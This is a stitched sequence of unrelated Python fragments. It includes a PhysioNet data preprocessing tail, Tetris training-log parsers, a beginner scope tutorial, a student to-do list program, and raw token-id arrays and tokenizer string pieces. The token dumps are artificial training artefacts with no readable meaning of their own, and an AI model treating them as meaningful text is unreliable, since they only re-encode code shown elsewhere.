oc.RecordID.map(rid_to_ind) ts.drop(columns="RecordID", inplace=True) oc.drop(columns="RecordID", inplace=True) # Drop duplicates. ts = ts.drop_duplicates() # Convert categorical to numeric. ii = ts.variable == "ICUType" for val in [4, 3, 2, 1]: kk = ii & (ts.value == val) ts.loc[kk, "variable"] = "ICUType_" + str(val) ts.loc[ii, "value"] = 1 # Normalize data except Age, Gender, Height, ICUType. means_stds = ts.groupby("variable").agg({"value": ["mean", "std"]}) means_stds.columns = [col[1] for col in means_stds.columns] means_stds.loc[means_stds["std"] == 0, "std"] = 1 ts = ts.merge(means_stds.reset_index(), on="variable", how="left") ii = ts.variable.apply(lambda x: not (x.startswith("ICUType"))) & (~ts.variable.isin(["Age", "Gender", "Height"])) ts.loc[ii, "value"] = (ts.loc[ii, "value"] - ts.loc[ii, "mean"]) / ts.loc[ii, "std"] # Generate split. train_valid_ind = np.array(oc.loc[oc.subset != "a"].ts_ind) np.random.seed(123) np.random.shuffle(train_valid_ind) bp = int(0.8 * len(train_valid_ind)) train_ind = train_valid_ind[:bp] valid_ind = train_valid_ind[bp:] test_ind = np.array(oc.loc[oc.subset == "a"].ts_ind) oc.drop(columns="subset", inplace=True) # Store data. pickle.dump([ts, oc, train_ind, valid_ind, test_ind], open("physionet_2012_preprocessed.pkl", "wb"))
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3668e8009dca4ea261bdfbd325331c338fdac5a9
import torch import re import sys import os import shutil import filecmp import numpy as np from collections import defaultdict from shutil import copyfile sys.path.append("../") class BoardParser: def __init__(self): self.file = open("../board_output", "rb") self.data = None def update(self): s = self.file.read() if len(s) == 200: self.data = np.fromstring(s, dtype=np.int8).reshape(20, 10) self.file.seek(0) class StatusParser: def __init__(self): self.board = np.memmap("../tmp/board", mode="r", dtype=np.int8, shape=(20, 10)) self.combo = np.memmap("../tmp/combo", mode="r", dtype=np.int32, shape=(1,)) self.lines = np.memmap("../tmp/lines", mode="r", dtype=np.int32, shape=(1,)) self.score = np.memmap("../tmp/score", mode="r", dtype=np.int32, shape=(1,)) self.line_stats = np.memmap("../tmp/line_stats", mode="r", dtype=np.int32, shape=(4,)) class Parser: def __init__(self, filename): self.filename = filename self.last_update = -1 def check_update(self): latest_update = os.path.getmtime(self.filename) if latest_update > self.last_update: self.last_update = latest_update self.parse() return True return False def parse(self): score_re = "Episode:\s*(?P<episode>\d*)\s*Score:\s*(?P<score>\d*)\s*Lines Cleared:\s*(?P<lines>\d*)" train_re = ( "Iteration:\s*(?P<iter>\d*)\s*" "training loss:\s*(?P<t_loss>\d*\.\d*)\s*" "validation loss:\s*(?P<v_loss>\d*\.\d*)±\s*(?P<v_loss_err>\d*\.\d*|nan)\s*" "gradient norm:\s*(?P<g_norm>\d*\.\d*)" ) datasize_re = "Training data size:\s*(?P<tsize>\d*)\s*Validation data size:\s*(?P<vsize>\d*)" queue_re = "Memory usage: (?P<filled>\d*) / (?P<size>\d*).*" self.data = defaultdict(list) size = 0 filled = 0 rm_since_last_game = 0 with open(self.filename) as f: lc_avg_tmp = [] sc_avg_tmp = [] data_accum = 0 training = False for line in f.readlines(): match_score_re = re.search(score_re, line) match_train_re = re.search(train_re, line) match_datasize_re = re.search(datasize_re, line) match_queue_re = re.search(queue_re, line) if match_score_re: d = match_score_re.groupdict() lc = int(d["lines"]) sc = int(d["score"]) self.data["line_cleared"].append(lc) self.data["score"].append(sc) self.data["data_accumulated"].append(data_accum) lc_avg_tmp.append(lc) sc_avg_tmp.append(sc) rm_since_last_game = 0 elif match_train_re: d = match_train_re.groupdict() self.data["training_loss"].append(float(d["t_loss"])) self.data["validation_loss"].append(float(d["v_loss"])) if d["v_loss_err"] == "nan": self.data["validation_loss_err"].append(0) else: self.data["validation_loss_err"].append(float(d["v_loss_err"])) self.data["g_norm"].append(float(d["g_norm"])) # print(d['g_norm']) elif match_datasize_re: d = match_datasize_re.groupdict() tsize = int(d["tsize"]) vsize = int(d["vsize"]) data_accum += tsize + vsize elif match_queue_re: d = match_queue_re.groupdict() filled = int(d["filled"]) size = int(d["size"]) elif "REMOVING UNUSED" in line: rm_since_last_game += 1 elif "proceed to training" in line: training = True if lc_avg_tmp: mean = np.average(lc_avg_tmp) std = np.std(lc_avg_tmp) / np.sqrt(len(lc_avg_tmp)) self.data["line_cleared_per_train"].append((mean, std)) lc_avg_tmp.clear() else: if self.data["line_cleared_per_train"]: self.data["line_cleared_per_train"].append(self.data["line_cleared_per_train"][-1]) else: self.data["line_cleared_per_train"].append((0, 0)) if sc_avg_tmp: mean = np.average(sc_avg_tmp) std = np.std(sc_avg_tmp) / np.sqrt(len(sc_avg_tmp)) self.data["score_per_train"].append((mean, std)) sc_avg_tmp.clear() else: if self.data["score_per_train"]: self.data["score_per_train"].append(self.data["score_per_train"][-1]) else: self.data["score_per_train"].append((0, 0)) elif "Training complete" in line: training = False if lc_avg_tmp: mean = np.average(lc_avg_tmp) std = np.std(lc_avg_tmp) / np.sqrt(len(lc_avg_tmp)) self.data["line_cleared_per_train"].append((mean, std)) if sc_avg_tmp: mean = np.average(sc_avg_tmp) std = np.std(sc_avg_tmp) / np.sqrt(len(sc_avg_tmp)) self.data["score_per_train"].append((mean, std)) if not training: flocal = "./model_checkpoint" ftarget = "../pytorch_model/model_checkpoint" ex_local = os.path.isfile(flocal) ex_target = os.path.isfile(ftarget) if ex_target and ((ex_local and not filecmp.cmp(flocal, ftarget)) or not ex_local): copyfile(ftarget, flocal) self.data["filled"] = filled self.data["size"] = size self.data["rm_since_last_game"] = rm_since_last_game class ModelParser: def __init__(self, distributional=True): self.last_update = -1 self.data = {} self.distributional = distributional def check_update(self): flocal = "./model_checkpoint" if os.path.isfile(flocal): latest = os.path.getmtime(flocal) if latest > self.last_update: print("New model found, updating...", flush=True) self.last_update = latest state = torch.load(flocal, map_location=torch.device("cpu")) model_state = state["model_state_dict"] self.parse_state(model_state) return True return False def parse(self, model): self.parse_state(model.state_dict()) def parse_state(self, model_state): self.data = {} for k, v in model_state.items(): if "weight" in k: k = k.replace(".weight", "") k = k.replace("seq.", "") self.data[k] = v.cpu().numpy().ravel()
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32b3e65add5fb44320898b682e8f94f1460a32e7
def create_meme(word): return f"this is your meme NEW VERSION {word}"
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6af5faaaa9d894dd2b882cfe1bb8b8225780743c
""" # VariableScope.py # # Written by leezhm on 13th March, 2012. # # Copyright (C) leezhm(c)126.com. All Right Reserved. # # For Chapter 6 Dragon Realm # # <<Invent Your Own Computer Games with Python>> """ print("Why not ?") print(True and not False) # A global variable named "spam" spam = 1208 # This block doesn't run until funky() is called. def funky(): # We read the global variable's value: # print(spam) # We create a local variable named "spam" # instead of changing the value of the global variable "spam" spam = 302 # The name "spam" now refers to the local variable only # for the rest of this function: print(spam) # Call the function funky(): funky() # The global variable was not changed in funky(): print(spam) # Function with parameters def sayHello(name): print("Hello, " + name) print("Say hello to Alice.") fizzy = "Alice" sayHello(fizzy) print("Do not forget to say hello to Bob.") sayHello("Bob") sayHello("Lee") def spam(myName): print("Hello, " + myName) myName = "Waffles" print("Your new name is " + myName) myName = "Albert" spam(myName) print("Howdy, " + myName)
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98bd4eb25a76fb9184f9abfcb920a6fbe46b9394
import json subjects = [] with open("sub.json", "r") as subject_file: subjects = json.load(subject_file) print(json.dumps(subjects, separators=(",", ":")))
[ 485, 2379, 222, 222, 28964, 299, 1627, 222, 222, 1814, 2177, 459, 1133, 51, 1279, 411, 332, 119, 678, 641, 5405, 100, 781, 63, 303, 34762, 299, 2379, 51, 963, 45, 6264, 100, 781, 46, 222, 222, 1243, 45, 1279, 51, 16961, 45, 28964, 49, 5481, 4079, 4381, 411, 411, 17903, 2636, 222 ]
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[ 1, 7, 12, 1, 1, 9, 11, 14, 1, 1, 5, 10, 12, 15, 16, 20, 22, 24, 25, 27, 30, 38, 39, 43, 44, 4, 13, 15, 20, 21, 25, 26, 33, 34, 38, 39, 1, 1, 6, 7, 11, 12, 17, 18, 26, 27, 33, 38, 40, 42, 44, 48, 51 ]
168a12e6653a0526f29c163913def50147481154
"""This program displays a customizable list of items by priority value, with priority 1 being the highest. Allows the user to add, edit, mark complete, show completed (hidden), and remove items. Stores the list of items in a .txt file located where this program's main.py file is. All changes are automatically saved to the .txt file. Also includes a fun technical knowledge demonstration using numbers and text responses. The program will create a new save file if none exists, and prompts for save file overwrite if data cannot be read successfully. Menu navigation is accomplished through numeric inputs due to the text-only interface and tedium of typing out each word accurately and repeatedly.""" __author__ = "Jordan Kooyman" # 1/26/21 - 4/15/2021 To-Do List Program - Integration Project for COP 1500 # Spring 2021 # Configurable settings saved to a separate file (?) # Ability to load a different data or config file (?) # Color code items by group (?) # Add a basic calculator to meet math (and string?) command requirements (?) # TODO: Implement a group system that shows all groups combined, just one # group, or all categorized by group, and group names - be able to change # group names (new function) - all functions support groups (individual or # combined) import random # Random number generation used as random verification number when # overwriting the save file in the event of a failure to load from the save # file class ListItem: # Create a class object that will store the data for each # entry in the list (custom variable) """A custom object that stores four pieces of data representing each entry in the todo list. Contains the text of the todo list entry, the priority of the entry, the group code (NYI), and the visibility of the entry""" def __init__(self, text, priority, group, visible): # From w3schools.com self.text = text self.priority = priority self.group = group self.visible = visible def concept_demonstration(): """The purpose of this function is to prompt the user for numbers and strings and manipulate them to demonstrate programming fluency with string and integer operations. :returns nothing""" number = clean_input("Please enter a positive number") number2 = clean_input("Please enter a number") while number2 == 0: # Rejects a 0 if it is input as the second number print("Error: Cannot Divide by 0") number2 = clean_input("Please enter a different number") color = input("Please enter a color\n") thing = input("Please enter a thing\n") thing2 = thing + " " # Adding space so that when thing is repeated, it # has a space in between # Raise the first number to the second number location = input("Please enter a location\n") print(str(number) + " raised to the power of " + str(number2) + " is " + str(number**number2)) # Multiply the two numbers print("{0} multiplied by {1} is {2}".format(str(number), str(number2), str(number * number2))) # Divide the first number by the second number print("{0} divided by {1} is {2}".format(str(number), str(number2), str(number / number2))) # Find the modulus of the two numbers print("The remainder from dividing {0} by {1} is {2}".format(str(number), str(number2), str(number % number2))) # Divide the first number by the second and round it down (floor it) print("{0} divided by {1} rounded down is {2}".format(str(number), str(number2), str(number // number2))) # Add the two numbers print("{0} plus {1} is {2}".format(str(number), str(number2), str(number + number2))) # Subtract the second number from the first number print("{0} minus {1} is {2}".format(str(number), str(number2), str(number - number2))) if number > 1: # if the first number entered is greater than 1 print("The {0} at {1} yelled '{2}'".format(color + " " + thing, location, thing2 * int(number - 1) + thing)) # Combine two strings with + (no added space), repeat a string x # number of times with * (must use an integer) (I have the minus 1 # and + thing to get the spacing to look proper and still repeat # number amount of times) -if a negative number is used when # multiplying a string, it does nothing (but does not crash) - but # it is still handled in the other statement with some added user # shaming elif number < 0: # if the first number entered is negative print( "The {0} at {1} yelled '{2}'\nYou entered a negative number " "when a positive number was requested, so you made the {3} " "mute. Good Job.".format(color + " " + thing, location, thing2 * int(number), thing) ) # Same as above, expect that it will print nothing in the yelled # section if the first number entered is negative else: # if the first number entered is 0 or 1 (because of the int() # function removing a decimal) print("The {0} at {1} yelled '{2}'".format(color + " " + thing, location, thing * int(number))) # this is to prevent errant spaces or showing the phrase too many times return def cascade_list(priority_to_cascade_from, todo_list): """The purpose of this function is to decrement the priority number of every item in the provided todo list greater than the priority number provided. :param priority_to_cascade_from: the number that is inserted by moving everything equal to or greater than up by one :param todo_list: the list of ListItem objects to check in""" for item in todo_list: if item.priority >= priority_to_cascade_from: item.priority += 1 return def check_priority_overlap(priority_to_check, todo_list): """The purpose of this function is to check if the user's priority number input overlaps with a priority number already in the list, and if it does, prompts the user whether they want to keep it, change it, or move everything in the list that has a larger priority value up by one. :param priority_to_check: the number to check for overlap with :param todo_list: the list of ListItem objects to check in :returns the priority value, either changed or the original input""" overlap = False for item in todo_list: if item.priority == priority_to_check: overlap = True if overlap: answer = 0 while answer > 3 or answer < 1: answer = clean_input( "The priority number you entered overlaps " "with another entry's priority. Enter:\n1 to " "change priority number\n2 to leave as is " "with overlap\n3 to push all priority numbers" " below this entry down by 1" ) if answer > 3 or answer < 1: print("Invalid Option Selected\nPlease Try Again") if answer == 1: priority_to_check = check_priority_overlap(int(clean_input("New Priority:")), todo_list) # change the priority value input elif answer == 3: cascade_list(priority_to_check, todo_list) return priority_to_check def sorting(list_object): # Takes in a ListItem object and returns the # priority value - from w3schools.com """The purpose of this function is to take in a ListItem custom object and return the priority value stored in it to be used in sorting. :param list_object: one ListItem object :returns the priority value stored in the ListItem object""" return list_object.priority def print_list(save_file_location, my_list, to_save=False, show_hidden=False): # Prints out the To-Do list from the common list variable and saves list # to the .txt file """The purpose of this function is to take in the location of the save file, the todo list variable, whether or not to save, and whether or not to show hidden and print out the todo list variable, skipping items marked as hidden unless it is told to show hidden, and saving the todo list to the file in the save file location if it is told to save. :param save_file_location: the file path to get to the .txt save file :param my_list: the list of ListItem objects to check in :param to_save: whether or not to save the list of items to the file, default is false :param show_hidden: whether or not to display the hidden list items, default it false :returns nothing""" my_list.sort(key=sorting) # Uses a custom function to be able to get the # right value to sort by print("To-Do:") for item_index in my_list: # The range needs to be the length of the list # being printed if item_index.visible and not show_hidden: # Only print visible items # if show hidden is false print(item_index.priority, item_index.text, sep=".\t") elif show_hidden: # Print everything is show hidden is trues if item_index.visible: print(item_index.priority, item_index.text, sep=".\t") else: print("{0}.~\t{1}".format(item_index.priority, item_index.text)) # Indicate hidden items # Printing the item priority with a dot, then the item, with a tab # separating them if to_save: save_list(my_list, save_file_location) return def divider(size=100): # Draws a dividing line to go between sections # (default 100 characters long) """The purpose of this function is to print a dashed line across the screen with a specified length. :param size: how many characters long the line should be, default is 100 :returns nothing""" for i in range(size): print("-", end="") # Prints out a single dash, no newline afterwards # (the end= sets the last character to blank print("") # Print out a newline (using the default ending of a print # statement being a newline return def clean_input(prompt="Error"): # A special input function that will reject a # user's input of text when a number is requested -- if no prompt is # specified in the program, it will display "Error" """The purpose of this function is to prompt the user for a numerical input and only accept a numerical input, rejects no input and text input. :param prompt: the prompt the user sees, default is Error :returns the user input as a float""" text = True phrase = "0" while text: phrase = input(prompt + "\n") try: # Adapted from an example in the ThinkPython textbook (15.7) - # Checks whether the input is a number, positive or negative. If # not, rejects the input and user gets to try again float(phrase) text = False except ValueError: print("Error: Non-Numeric Entry Detected") # if phrase.isnumeric(): # Checks for a positive number (negative # rejected as well as text) - replaced with superior form from textbook # example # return float(phrase) # Return the number the user entered # else: # print("Error: Non-Numeric Entry Detected") return float(phrase) # Return the number the user entered def load_from_file(save_location): # This is a function for readability - # opens txt file in read mode and loads it """The purpose of this function is to open the .txt save file and read the contents into memory in the form of a list of custom ListItem objects. :param save_location: the location the save file is stored in :returns a list of ListItem objects that is populated with the data from the save file""" # into an array (list) of ListItem variables data_file_r = open(save_location, "r") # Open txt file in read mode list_item = ["Text", -1, 2, True] # Item, Item Priority, group, is visible todo = [] # make a list of lists temp = 1 # Temporary counter variable to reconstruct lists from .txt file line_counter = 1 try: for item in data_file_r: # loop through each line in the file, one at # a time - from w3schools.com if (line_counter - 1) % 5 != 0 and line_counter > 0: cleaned_item = "" for character_index in range(len(item)): # Loop through each character in the extracted # string if character_index != len(item) - 1: # if it is not the last character, add # it to the cleaned string cleaned_item += item[character_index] # Add every character to a # but \n if temp == 1: # Item Text list_item[0] = cleaned_item temp = 2 elif temp == 2: # Item Priority list_item[1] = int(cleaned_item) temp = 3 elif temp == 3: # Item Group list_item[2] = int(cleaned_item) temp = 4 elif temp == 4: # Is Visible if cleaned_item == "False": list_item[3] = False else: # Assume the item is visible if the text is not # False list_item[3] = True todo.insert(0, ListItem(list_item[0], list_item[1], list_item[2], list_item[3])) temp = 1 else: # If some error occurred and a condition outside of the # possible four is met, restart temp = 1 line_counter += 1 except ValueError: print("An error has occurred trying to load the file") result = int( clean_input( "Please enter a 2 to overwrite the current save file and start over or any other number to exit the program" ) ) if result == 2: key = random.randint(2, 9) # Generate a random integer between 2 # and 9 to be used as a second dynamic check if key == 2: key = 1 # If the random number is 2, set it to one so that # the same number (2) cannot be used as the verification number result2 = int( clean_input( "Are you sure you want to delete all " "of your saved data\nEnter {0} to " "proceed, or anything else to " "cancel".format(str(key)) ) ) if result2 == key: data_file_w = open("C:Item_List.txt", "w") data_file_w.close() todo = [] print("Save Data Erased") return todo # Return an empty list if file load failed else: print("Program Exiting") quit(1) else: print("Program Exiting") quit(1) # Exit the program with the exit code of 1 data_file_r.close() # All the list functions above referenced from w3schools.com What is # happening above: Opening the file, initializing a list to hold all # four pieces of data, then after pulling the data from the file and # storing in the list, it is copied (not referenced) into my main list # of ListItem objects return todo def save_list(todo_list, save_location): """The purpose of this function is to save a list of ListItem objects to a specified location in a .txt file with the first line of the document being an explanation of the file format being used. :param todo_list: the list of ListItem objects to save to the save file :param save_location: the location to create or overwrite the save file :returns nothing""" data_file_w = open(save_location, "w") # open the save file and clear the data from it data_file_w.write( "Warning: The Todo-List Program will not be able to " "load this save file if it is incorrectly modified. " "Modify at your own risk. The structure is Entry " "Text, Entry Priority as a number, Entry Group as a " "number (Not Yet Utilized, but necessary), and Entry " "Visibility as a boolean, each on a separate line, a " "single line gap in between, and the " "very first line is skipped\n" ) for item in todo_list: data_file_w.write("{0}\n{1}\n{2}\n{3}\n\n".format(item.text, str(item.priority), str(item.group), str(item.visible))) data_file_w.close() return def add_item(todo_list): """The purpose of this function is to prompt the user for the two fields of necessary information to make a new entry in the todo list, the item name and priority, checking if the priority overlaps with an existing entry in the todo list. :param todo_list: the list of ListItem objects to add a new ListItem object to :returns nothing""" text = input("Please enter the name of the new item\n") priority = check_priority_overlap(int(clean_input("Please enter the priority of this item")), todo_list) # group = int(clean_input("Please enter the group number of this item")) group = 0 # Set the group value to zero, group system NYI visible = True todo_list.insert(0, ListItem(text, priority, group, visible)) # Join # the inputs to be added to the overall list return def select_item(todo_list, prompt="Error"): # Ask the user # which item from the list is to be modified """The purpose of this function is to display a list of all items in the todo list and number each individually to allow the user to select an item to modify or delete. The available numbers may skip some if some items are hidden :param todo_list: the list of ListItem objects to display :param prompt: the prompt to display to the user, default is Error :returns the user selected item's index in a computer friendly form ( starting at 0 instead of 1)""" valid = False index = 0 while not valid: counter = 1 # counter for index printing for item in todo_list: # The range needs to be the length of the list # being printed if item.visible: print(counter, item.text, sep="\t") else: print(counter, "~ {0} ~".format(item.text), sep="\t") counter += 1 # Printing the item number, then the item, with a tab separating # them index = int(clean_input(prompt)) if index < counter: valid = True else: print("Invalid Input: Number is too big") return index - 1 def remove_item(todo_list): """The purpose of this function is to delete a ListItem object from a list of ListItem objects by prompting the user for the index and verifying they want to delete the item. :param todo_list: the list of ListItem objects from which to remove one object :returns nothing""" item = select_item(todo_list, "Please enter the item number you wish to remove\nEnter a negative number or zero to cancel") if item >= 0: # 0, not 1 because the index returned is shifted to be # computer friendly todo_list.pop(item) return def mark_complete(todo_list): """The purpose of this function is to mark a selectedListItem object as hidden and not to be printed unless specified, apart from selecting items. :param todo_list: the list of ListItem objects to modify :returns nothing""" item = select_item( todo_list, "Please enter the item number you wish to " "Mark Completed and hide from the " "list\nEnter a negative number or zero to " "cancel", ) if item >= 0: todo_list[item].visible = False return def edit_item(todo_list): """The purpose of this function is to edit a ListItem object in the list of ListItem objects, changing either the name or priority :param todo_list: the list of ListItem objects that gets one object modified :returns nothing""" item = select_item(todo_list, "Please enter the item number you wish to edit\nEnter a negative number or zero to cancel") if item >= 0: while True: value = clean_input( "Which value would you like to edit? Enter:\n1" " for the Item Text (Currently: {0})\n2 for " "the Item Priority (Currently: {1})\n3 to " "Cancel and Exit".format(todo_list[item].text, str(todo_list[item].priority)) ) if value == 1: # Item Text Change print("The Current Text is: {0}".format(todo_list[item].text)) todo_list[item].text = input("New Text:\n") elif value == 2: # Item Priority Change print("The Current Priority is: {0}".format(str(todo_list[item].priority))) todo_list[item].priority = check_priority_overlap(int(clean_input("New Priority:")), todo_list) # elif value == 3: # Item Group Change # print(f"The Current Group is: {todo_list[item].group}") # todo_list[item].group = int(clean_input("New Group Number:")) elif value == 3: # Exit Changing Menu break else: print("Invalid Input - Please Try Again") return def check_list_status(todo_list): # Checks if the list is completely hidden # (2), completely empty (1), or neither (0) """The purpose of this function is to check whether there are visible items in the list, the entire list is hidden, or the list contains no more ListItem objects :param todo_list: the list of ListItem objects to check :returns which condition using integer codes""" if len(todo_list) == 0: state = 1 # Empty List else: state = 2 # Entirely Hidden List for item_index in range(len(todo_list)): if todo_list[item_index].visible: # If an item is visible, then # they are not all hidden state = 0 # Neither return state def menu_loop(todo_list, save_file_location): """The purpose of this function is to repeatedly display the todo list and user prompts menu until the program is closed :param todo_list: the list of ListItem objects to display or modify :param save_file_location: where the .txt save file is located for saving :returns nothing""" show_hidden = False selection = 0 invalid_input = False while selection != 6: if invalid_input: invalid_input = False else: print_list(save_file_location, todo_list, True, show_hidden) divider(137 + 17) # Length of prompt statement below list_status = check_list_status(todo_list) if list_status == 0: # No Issues selection = int( clean_input( "Please enter: 1 for Add Item, 2 for " "Remove Item, 3 for Edit Item, " "4 for Mark Item Complete, " "5 for Toggle Hidden, and 6 for " "Exit, 7 for Concept " "Demonstration\n" ) ) elif list_status == 1: # Empty List - No Remove, Edit, Mark, or Toggle selection = int(clean_input("Please enter: 1 for Add Item, and 6 for Exit, 7 for Concept Demonstration\n")) else: # Entirely Hidden List selection = int( clean_input("Please enter: 1 for Add Item, 5 for Toggle Hidden, and 6 for Exit, 7 for Concept Demonstration\n") ) # Uses the clean_input function above to get a number from the # user, converting it to an int so a decimal won't return an # invalid input in the following steps print("") # Blank Print statement to add an extra blank line after # user input before displaying response if selection == 1: # Add Item - modify the list variable, then save # to file add_item(todo_list) elif selection == 2: # Remove Item - modify the list variable, then # save to file if list_status == 0: remove_item(todo_list) elif list_status == 2: print("Invalid Command: The Todo List has no visible items to remove") else: print("Invalid Command: The Todo List has no items to remove") elif selection == 3: # Edit Item - modify the list variable, then save # to file if list_status == 0: edit_item(todo_list) elif list_status == 2: print("Invalid Command: The Todo List has no visible items to edit") else: print("Invalid Command: The Todo List has no items to edit") elif selection == 4: # Mark Item Complete - modify the list variable, # then save to file if list_status == 0: mark_complete(todo_list) elif list_status == 2: print("Invalid Command: The Todo List has no visible items to mark complete") else: print("Invalid Command: The Todo List has no items to mark complete") elif selection == 5: # Show Hidden - modify the list variable, then # save to file if list_status == 0 or list_status == 2: if show_hidden: print("No longer showing hidden items") show_hidden = False else: print("Now showing hidden items") show_hidden = True else: print("Invalid Command: The Todo List has no items to show or hide") elif selection == 6: # Exit Program print("Now Closing") elif selection == 7: # Extra section to demonstrate proficiency with # topics covered in class - Sprint 1 concept_demonstration() else: invalid_input = True print("Invalid Input\nPlease Try Again") def main(): """The purpose of this function is to ensure the save file exists at the specified save file location, load the save file into memory, display a welcome message with a divider, then start the menu loop until the program is closed :returns nothing""" save_file_location = "Item_List.txt" data_file_a = open(save_file_location, "a") # Opens ItemList.txt which # is accessible in the file variable, in append mode (using this so that # if the file exists, nothing happens, but if it does not exist, it gets # created from w3schools.com data_file_a.close() # Close the file, I now know it exists loaded_list = load_from_file(save_file_location) print("Welcome to the To-Do List - Version: 0.1.2") divider(42) # Length of welcome statement above menu_loop(loaded_list, save_file_location) if __name__ == "__main__": main()
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"ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġstring", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġcharacter", "_", "index", "Ġ!=", "Ġlen", "(", "item", ")", "Ġ-", "Ġ", "1", ":", "Ġ", "Ġ#", "Ġif", "Ġit", "Ġis", "Ġnot", "Ġthe", "Ġlast", "Ġcharacter", ",", "Ġadd", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġit", "Ġto", "Ġthe", "Ġcleaned", "Ġstring", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġcleaned", "_", "item", "Ġ+=", "Ġitem", "[", "character", "_", "index", "]", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "ĠAdd", "Ġevery", "Ġcharacter", "Ġto", "Ġa", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġbut", "Ġ\\", "n", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġtemp", "Ġ==", "Ġ", "1", ":", "Ġ", "Ġ#", "ĠItem", "ĠText", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġlist", "_", "item", "[", "0", "]", "Ġ=", "Ġcleaned", "_", "item", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtemp", "Ġ=", "Ġ", "2", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġtemp", "Ġ==", "Ġ", "2", ":", "Ġ", "Ġ#", "ĠItem", "ĠPriority", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġlist", "_", "item", "[", "1", "]", "Ġ=", "Ġint", "(", "cleaned", "_", "item", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtemp", "Ġ=", "Ġ", "3", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġtemp", "Ġ==", "Ġ", "3", ":", "Ġ", "Ġ#", "ĠItem", "ĠGroup", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġlist", "_", "item", "[", "2", "]", "Ġ=", "Ġint", "(", "cleaned", "_", "item", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtemp", "Ġ=", "Ġ", "4", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġtemp", "Ġ==", "Ġ", "4", ":", "Ġ", "Ġ#", "ĠIs", "ĠVis", "ible", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġcleaned", "_", "item", "Ġ==", "Ġ\"", "False", "\":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġlist", "_", "item", "[", "3", "]", "Ġ=", "ĠFalse", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "Ġ", "Ġ#", "ĠAssume", "Ġthe", "Ġitem", "Ġis", "Ġvisible", "Ġif", "Ġthe", "Ġtext", "Ġis", "Ġnot", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "ĠFalse", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġlist", "_", "item", "[", "3", "]", "Ġ=", "ĠTrue", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtodo", ".", "insert", "(", "0", ",", "ĠListItem", "(", "list", "_", "item", "[", "0", "],", "Ġlist", "_", "item", "[", "1", "],", "Ġlist", "_", "item", "[", "2", "],", "Ġlist", "_", "item", "[", "3", "]))", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtemp", "Ġ=", "Ġ", "1", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "Ġ", "Ġ#", "ĠIf", "Ġsome", "Ġerror", "Ġoccurred", "Ġand", "Ġa", "Ġcondition", "Ġoutside", "Ġof", "Ġthe", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġpossible", "Ġfour", "Ġis", "Ġmet", ",", "Ġrestart", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtemp", "Ġ=", "Ġ", "1", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġline", "_", "counter", "Ġ+=", "Ġ", "1", "ĊĠĠĠ", "Ġexcept", "ĠValueError", ":", "ĊĠĠĠĠĠĠĠ", "Ġprint", "(\"", "An", "Ġerror", "Ġhas", "Ġoccurred", "Ġtrying", "Ġto", "Ġload", "Ġthe", "Ġfile", "\")", "ĊĠĠĠĠĠĠĠ", "Ġresult", "Ġ=", "Ġint", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġclean", "_", "input", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "Please", "Ġenter", "Ġa", "Ġ", "2", "Ġto", "Ġoverwrite", "Ġthe", "Ġcurrent", "Ġsave", "Ġfile", "Ġand", "Ġstart", "Ġover", "Ġor", "Ġany", "Ġother", "Ġnumber", "Ġto", "Ġexit", "Ġthe", "Ġprogram", "\"", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġresult", "Ġ==", "Ġ", "2", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġkey", "Ġ=", "Ġrandom", ".", "randint", "(", "2", ",", "Ġ", "9", ")", "Ġ", "Ġ#", "ĠGenerate", "Ġa", "Ġrandom", "Ġinteger", "Ġbetween", "Ġ", "2", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġand", "Ġ", "9", "Ġto", "Ġbe", "Ġused", "Ġas", "Ġa", "Ġsecond", "Ġdynamic", "Ġcheck", 